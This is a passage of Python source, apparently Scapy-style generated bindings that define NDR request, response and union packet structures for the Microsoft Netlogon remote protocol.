NETLOGON_DELTA_TYPE.ChangeGroupMembership\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\", PNETLOGON_DELTA_ALIAS(), PNETLOGON_DELTA_ALIAS\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeAlias\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeAlias\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_RENAME_ALIAS(),\n                            PNETLOGON_DELTA_RENAME_ALIAS,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.RenameAlias\n                        ),\n                        (lambda _, val: val.tag == NETLOGON_DELTA_TYPE.RenameAlias),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_ALIAS_MEMBER(),\n                            PNETLOGON_DELTA_ALIAS_MEMBER,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.ChangeAliasMembership\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.ChangeAliasMembership\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_POLICY(),\n                            PNETLOGON_DELTA_POLICY,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_TRUSTED_DOMAINS(),\n                            PNETLOGON_DELTA_TRUSTED_DOMAINS,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_ACCOUNTS(),\n                            PNETLOGON_DELTA_ACCOUNTS,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_SECRET(),\n                            PNETLOGON_DELTA_SECRET,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_DELETE_GROUP(),\n                            PNETLOGON_DELTA_DELETE_GROUP,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.DeleteGroupByName\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.DeleteGroupByName\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_DELETE_USER(),\n                            PNETLOGON_DELTA_DELETE_USER,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.DeleteUserByName\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.DeleteUserByName\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\", PNLPR_MODIFIED_COUNT(), PNLPR_MODIFIED_COUNT\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.SerialNumberSkip\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.SerialNumberSkip\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"DeltaUnion\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass PNETLOGON_DELTA_ENUM_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"CountReturned\", None, size_of=\"Deltas\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Deltas\",\n                [],\n                PNETLOGON_DELTA_ENUM,\n                size_is=lambda pkt: pkt.CountReturned,\n            )\n        ),\n    ]\n\n\nclass NetrDatabaseDeltas_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"DatabaseID\", 0),\n        NDRPacketField(\n            \"DomainModifiedCount\", PNLPR_MODIFIED_COUNT(), PNLPR_MODIFIED_COUNT\n        ),\n        NDRIntField(\"PreferredMaximumLength\", 0),\n    ]\n\n\nclass NetrDatabaseDeltas_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"DomainModifiedCount\", PNLPR_MODIFIED_COUNT(), PNLPR_MODIFIED_COUNT\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DeltaArray\", PNETLOGON_DELTA_ENUM_ARRAY(), PNETLOGON_DELTA_ENUM_ARRAY\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrDatabaseSync_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"DatabaseID\", 0),\n        NDRIntField(\"SyncContext\", 0),\n        NDRIntField(\"PreferredMaximumLength\", 0),\n    ]\n\n\nclass NetrDatabaseSync_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"SyncContext\", 0),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DeltaArray\", PNETLOGON_DELTA_ENUM_ARRAY(), PNETLOGON_DELTA_ENUM_ARRAY\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PUAS_INFO_0(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        StrFixedLenField(\"ComputerName\", \"\", length=16),\n        NDRIntField(\"TimeCreated\", 0),\n        NDRIntField(\"SerialNumber\", 0),\n    ]\n\n\nclass NetrAccountDeltas_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\"RecordId\", PUAS_INFO_0(), PUAS_INFO_0),\n        NDRIntField(\"Count\", 0),\n        NDRIntField(\"Level\", 0),\n        NDRIntField(\"BufferSize\", 0),\n    ]\n\n\nclass NetrAccountDeltas_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRConfStrLenField(\"Buffer\", \"\", size_is=lambda pkt: pkt.BufferSize),\n        NDRIntField(\"CountReturned\", 0),\n        NDRIntField(\"TotalEntries\", 0),\n        NDRPacketField(\"NextRecordId\", PUAS_INFO_0(), PUAS_INFO_0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrAccountSync_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"Reference\", 0),\n        NDRIntField(\"Level\", 0),\n        NDRIntField(\"BufferSize\", 0),\n    ]\n\n\nclass NetrAccountSync_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRConfStrLenField(\"Buffer\", \"\", size_is=lambda pkt: pkt.BufferSize),\n        NDRIntField(\"CountReturned\", 0),\n        NDRIntField(\"TotalEntries\", 0),\n        NDRIntField(\"NextReference\", 0),\n        NDRPacketField(\"LastRecordId\", PUAS_INFO_0(), PUAS_INFO_0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrGetDCName_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n    ]\n\n\nclass NetrGetDCName_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Buffer\", \"\")),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNETLOGON_INFO_1(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"netlog1_flags\", 0),\n        NDRIntField(\"netlog1_pdc_connection_status\", 0),\n    ]\n\n\nclass PNETLOGON_INFO_2(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"netlog2_flags\", 0),\n        NDRIntField(\"netlog2_pdc_connection_status\", 0),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"netlog2_trusted_dc_name\", \"\")\n        ),\n        NDRIntField(\"netlog2_tc_connection_status\", 0),\n    ]\n\n\nclass PNETLOGON_INFO_3(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"netlog3_flags\", 0),\n        NDRIntField(\"netlog3_logon_attempts\", 0),\n        NDRIntField(\"netlog3_reserved1\", 0),\n        NDRIntField(\"netlog3_reserved2\", 0),\n        NDRIntField(\"netlog3_reserved3\", 0),\n        NDRIntField(\"netlog3_reserved4\", 0),\n        NDRIntField(\"netlog3_reserved5\", 0),\n    ]\n\n\nclass PNETLOGON_INFO_4(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"netlog4_trusted_dc_name\", \"\")\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"netlog4_trusted_domain_name\", \"\")\n        ),\n    ]\n\n\nclass NetrLogonControl_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"FunctionCode\", 0),\n        NDRIntField(\"QueryLevel\", 0),\n    ]\n\n\nclass NetrLogonControl_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_1(), PNETLOGON_INFO_1)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_2(), PNETLOGON_INFO_2)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_3(), PNETLOGON_INFO_3)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 3),\n                        (lambda _, val: val.tag == 3),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_4(), PNETLOGON_INFO_4)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 4),\n                        (lambda _, val: val.tag == 4),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Buffer\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrGetAnyDCName_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n    ]\n\n\nclass NetrGetAnyDCName_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Buffer\", \"\")),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonControl2_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"FunctionCode\", 0),\n        NDRIntField(\"QueryLevel\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Data\", \"\")),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"FunctionCode\", None)\n                            in [5, 6, 9, 10]\n                        ),\n                        (lambda _, val: val.tag in [5, 6, 9, 10]),\n                    ),\n                ),\n                (\n                    NDRIntField(\"Data\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"FunctionCode\", None) == 65534),\n                        (lambda _, val: val.tag == 65534),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Data\", \"\")),\n                    (\n                        (lambda pkt: getattr(pkt, \"FunctionCode\", None) == 8),\n                        (lambda _, val: val.tag == 8),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Data\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrLogonControl2_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_1(), PNETLOGON_INFO_1)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_2(), PNETLOGON_INFO_2)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_3(), PNETLOGON_INFO_3)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 3),\n                        (lambda _, val: val.tag == 3),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_4(), PNETLOGON_INFO_4)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 4),\n                        (lambda _, val: val.tag == 4),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Buffer\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrServerAuthenticate2_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"ClientCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n        NDRIntField(\"NegotiateFlags\", 0),\n    ]\n\n\nclass NetrServerAuthenticate2_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ServerCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n        NDRIntField(\"NegotiateFlags\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass SYNC_STATE(IntEnum):\n    NormalState = 0\n    DomainState = 1\n    GroupState = 2\n    UasBuiltInGroupState = 3\n    UserState = 4\n    GroupMemberState = 5\n    AliasState = 6\n    AliasMemberState = 7\n    SamDoneState = 8\n\n\nclass NetrDatabaseSync2_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"DatabaseID\", 0),\n        NDRInt3264EnumField(\"RestartState\", 0, SYNC_STATE),\n        NDRIntField(\"SyncContext\", 0),\n        NDRIntField(\"PreferredMaximumLength\", 0),\n    ]\n\n\nclass NetrDatabaseSync2_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"SyncContext\", 0),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DeltaArray\", PNETLOGON_DELTA_ENUM_ARRAY(), PNETLOGON_DELTA_ENUM_ARRAY\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrDatabaseRedo_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRConfStrLenField(\n            \"ChangeLogEntry\", \"\", size_is=lambda pkt: pkt.ChangeLogEntrySize\n        ),\n        NDRIntField(\"ChangeLogEntrySize\", None, size_of=\"ChangeLogEntry\"),\n    ]\n\n\nclass NetrDatabaseRedo_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DeltaArray\", PNETLOGON_DELTA_ENUM_ARRAY(), PNETLOGON_DELTA_ENUM_ARRAY\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonControl2Ex_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"FunctionCode\", 0),\n        NDRIntField(\"QueryLevel\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Data\", \"\")),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"FunctionCode\", None)\n                            in [5, 6, 9, 10]\n                        ),\n                        (lambda _, val: val.tag in [5, 6, 9, 10]),\n                    ),\n                ),\n                (\n                    NDRIntField(\"Data\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"FunctionCode\", None) == 65534),\n                        (lambda _, val: val.tag == 65534),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"Data\", \"\")),\n                    (\n                        (lambda pkt: getattr(pkt, \"FunctionCode\", None) == 8),\n                        (lambda _, val: val.tag == 8),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Data\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrLogonControl2Ex_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_1(), PNETLOGON_INFO_1)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_2(), PNETLOGON_INFO_2)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_3(), PNETLOGON_INFO_3)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 3),\n                        (lambda _, val: val.tag == 3),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"Buffer\", PNETLOGON_INFO_4(), PNETLOGON_INFO_4)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 4),\n                        (lambda _, val: val.tag == 4),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Buffer\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PDOMAIN_NAME_BUFFER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"DomainNameByteCount\", None, size_of=\"DomainNames\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"DomainNames\", \"\", size_is=lambda pkt: pkt.DomainNameByteCount\n            )\n        ),\n    ]\n\n\nclass NetrEnumerateTrustedDomains_Request(NDRPacket):\n    fields_desc = [NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"))]\n\n\nclass NetrEnumerateTrustedDomains_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"DomainNameBuffer\", PDOMAIN_NAME_BUFFER(), PDOMAIN_NAME_BUFFER),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass GUID(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"Data1\", 0),\n        NDRShortField(\"Data2\", 0),\n        NDRShortField(\"Data3\", 0),\n        StrFixedLenField(\"Data4\", \"\", length=8),\n    ]\n\n\nclass PDOMAIN_CONTROLLER_INFOW(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DomainControllerName\", \"\")),\n        NDRFullEmbPointerField(\n            NDRConfVarStrNullFieldUtf16(\"DomainControllerAddress\", \"\")\n        ),\n        NDRIntField(\"DomainControllerAddressType\", 0),\n        NDRPacketField(\"DomainGuid\", GUID(), GUID),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DnsForestName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DcSiteName\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"ClientSiteName\", \"\")),\n    ]\n\n\nclass DsrGetDcName_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        NDRFullPointerField(NDRPacketField(\"DomainGuid\", GUID(), GUID)),\n        NDRFullPointerField(NDRPacketField(\"SiteGuid\", GUID(), GUID)),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass DsrGetDcName_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DomainControllerInfo\",\n                PDOMAIN_CONTROLLER_INFOW(),\n                PDOMAIN_CONTROLLER_INFOW,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonGetCapabilities_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"QueryLevel\", 0),\n    ]\n\n\nclass NetrLogonGetCapabilities_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRUnionField(\n            [\n                (\n                    NDRIntField(\"Capabilities\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRIntField(\"Capabilities\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"QueryLevel\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"Capabilities\", \"\", length=0),\n            align=(4, 4),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonSetServiceBits_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"ServiceBitsOfInterest\", 0),\n        NDRIntField(\"ServiceBits\", 0),\n    ]\n\n\nclass NetrLogonSetServiceBits_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass NetrLogonGetTrustRid_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n    ]\n\n\nclass NetrLogonGetTrustRid_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"Rid\", 0), NDRIntField(\"status\", 0)]\n\n\nclass NetrLogonComputeServerDigest_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"Rid\", 0),\n        NDRConfStrLenField(\"Message\", \"\", size_is=lambda pkt: pkt.MessageSize),\n        NDRIntField(\"MessageSize\", None, size_of=\"Message\"),\n    ]\n\n\nclass NetrLogonComputeServerDigest_Response(NDRPacket):\n    fields_desc = [\n        StrFixedLenField(\"NewMessageDigest\", \"\", length=16),\n        StrFixedLenField(\"OldMessageDigest\", \"\", length=16),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonComputeClientDigest_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        